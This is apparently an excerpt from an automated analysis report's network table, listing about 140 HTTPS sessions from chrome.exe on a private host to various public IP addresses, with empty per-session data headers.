886	192.168.2.6	50764	172.66.47.157	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.6	50770	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.6	50769	35.244.159.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.6	50779	50.57.31.206	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.6	50786	34.111.113.62	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.6	50761	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.6	50765	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.6	50775	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.6	50782	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.6	50768	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.6	50772	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.6	50767	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.6	50771	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.6	50773	172.217.18.2	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.6	50766	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.6	50776	172.217.18.2	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.6	50788	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.6	50784	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.6	50778	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.6	50785	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.6	50780	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.6	50787	198.47.127.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.6	50777	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.6	50783	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.6	49961	34.250.204.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.6	49959	34.250.204.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.6	49960	34.250.204.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.6	50791	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.6	50789	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.6	50790	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.6	50804	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.6	50809	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.6	50811	151.101.65.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.6	50793	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.6	50792	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.6	50795	3.121.27.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.6	50796	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.6	50797	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.6	50803	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.6	50798	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.6	50799	172.217.18.2	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.6	50810	18.193.40.232	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.6	50800	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.6	50801	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.6	50802	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.6	50806	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.6	50815	35.186.253.211	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.6	50817	34.120.63.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.6	50807	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.6	50813	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.6	50816	104.18.36.155	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.6	50808	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.6	50828	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.6	50823	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.6	50819	185.64.189.112	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.6	50827	3.248.168.119	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.6	50812	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.6	50824	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.6	50825	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.6	50814	178.250.1.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.6	50818	3.78.168.176	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.6	50826	54.77.78.113	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.6	50821	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.6	50822	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.6	50837	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.6	50835	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.6	50836	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.6	50834	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.6	50839	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.6	50216	142.250.186.66	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.6	50842	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.6	50840	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.6	50841	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.6	50844	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.6	50838	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.6	50846	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.6	50845	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.6	50847	3.121.27.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.6	50843	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.6	50850	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.6	50849	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.6	50851	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.6	50857	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.6	50855	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.6	50853	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.6	50856	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.6	50854	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.6	50859	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.6	50860	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.6	50852	18.158.126.136	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.6	50858	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.6	50861	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.6	50866	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.6	50865	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.6	50863	185.89.210.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.6	50870	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.6	50867	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.6	50869	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.6	50864	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.6	50868	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.6	50874	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.6	50876	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.6	50872	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.6	50875	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.6	50873	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.6	50877	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.6	50878	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.6	50880	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.6	50882	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.6	50239	82.145.213.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.6	50885	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.6	50889	35.244.174.68	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.6	50883	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.6	50881	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.6	50895	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.6	50888	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.6	50890	3.121.27.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.6	50891	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.6	50886	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.6	50887	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.6	50893	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.6	50899	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.6	50914	35.186.253.211	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.6	50908	54.165.165.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.6	50909	52.72.151.87	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.6	50903	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.6	50898	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.6	50901	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.6	50917	8.2.110.134	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.6	50912	164.132.25.180	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.6	50894	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.6	50905	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.6	50904	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.6	50911	91.228.74.200	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.6	50918	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.6	50916	23.20.26.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.6	50915	23.20.26.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.6	50902	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.6	50910	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.6	50919	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.6	50920	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
